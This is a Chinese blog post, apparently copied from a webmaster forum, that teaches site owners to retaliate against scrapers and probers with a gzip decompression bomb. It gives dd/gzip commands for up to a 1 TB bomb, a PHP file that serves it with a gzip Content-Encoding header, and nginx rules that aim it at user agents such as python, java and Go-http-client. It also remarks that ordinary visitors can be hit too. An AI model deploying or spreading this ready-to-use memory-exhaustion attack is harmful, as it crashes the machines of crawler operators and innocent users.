制造一个linux炸弹让那些宵小之辈后悔莫及

2023-05-19
146次阅读
没有评论

不知道大家有没有碰到我网站的这种情况,从建站初就见到不少,要么试探我会不会将网站的备份数据放在网站根目录,要么就是尝试下载关键性的配置文件。

这不是看不起我的小站,而是看不起linux,linux只要配置正确,安全性还是毋庸置疑的,一般的尝试linux都不会做出任何反应。

制造一个linux炸弹让那些宵小之辈后悔莫及

那今天就让linux做出反应,让尝试下载配置文件的人后悔莫及。

本教程来源于4414站长论坛,地址:https://www.4414.cn/thread-145652-1-1.html

教程开始:

linux超大文件(炸弹)制作在Linux中,使用以下命令:

dd if=/dev/zero bs=1M count=1024 | gzip > 1G.gzip
//制作1G文件
dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip
//制作10G文件
dd if=/dev/zero bs=1M count=1048576 | gzip > 1T.gzip
//制作1T文件

作者建议使用1t大小的文件,可以迅速撑爆别人的内存。

PHP调用返回文件代码(404.php)

<?php
header('Content-Encoding: gzip');
echo file_get_contents('1T.gzip');
?>

Nginx添加配置返回脏弹

nginx伪静态规则:

location / {
  #UA 脏弹
  if ($http_user_agent ~* "(SemrushBot|Semrush|python|java|Go-http-client)") {
    rewrite ^/.*  /404.php last;
  }
}

这里自然是可以修改的,不仅判断UA,还要加上别人访问的地址,只要地址对了,不管是正常用户还是宵小之辈,全部返回脏弹。

这一招也可以对付那些采集的人。

来源和网站域名的使用方法如下:

if ($host ~ '^www.a.com|IP'){
     rewrite ^/.*  /404.php last;
   }

作者建议:

还是谨慎点使用比较好,实测有效,简单科普一下:

一般网站服务器会使用 gzip 压缩一些资文件源,这些资源在网络上传输的时候,是压缩后的二进制格式。

客户端收到返回以后,如果发现返回的Headers里面有一个字段叫做 Content-Encoding ,其中的值包含 gzip ,那么客户端就会先使用 gzip 对数据进行解压,解压完成以后再把它呈现到客户端上面。

浏览器自动就会做这个事情,用户是感知不到这个事情发生的。

而 requests 、 Scrapy 这种网络请求库或者爬虫框架,也会帮你做这个事情,因此你不需要手动对网站返回的数据解压缩。

如果我们把一个1GB的文件压缩成1MB,那么对服务器来说,仅仅是返回了1MB的二进制数据,不会造成任何影响。

但是对客户端或者爬虫来说,它拿到这个1MB的数据以后,就会在内存中把它还原成1GB的内容。

如果我们进一步增大原始数据,很容易就可以把爬虫所在的服务器内存全部沾满,轻者服务器直接杀死爬虫进程,重则爬虫服务器直接死机。

作者警告:

安排好了别自己测试,后果自负!

安排好了别自己测试,后果自负!

安排好了别自己测试,后果自负!

正文结束
居烽
版权声明:本站原创文章,由 居烽 于2023-05-19发表,共计1287字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码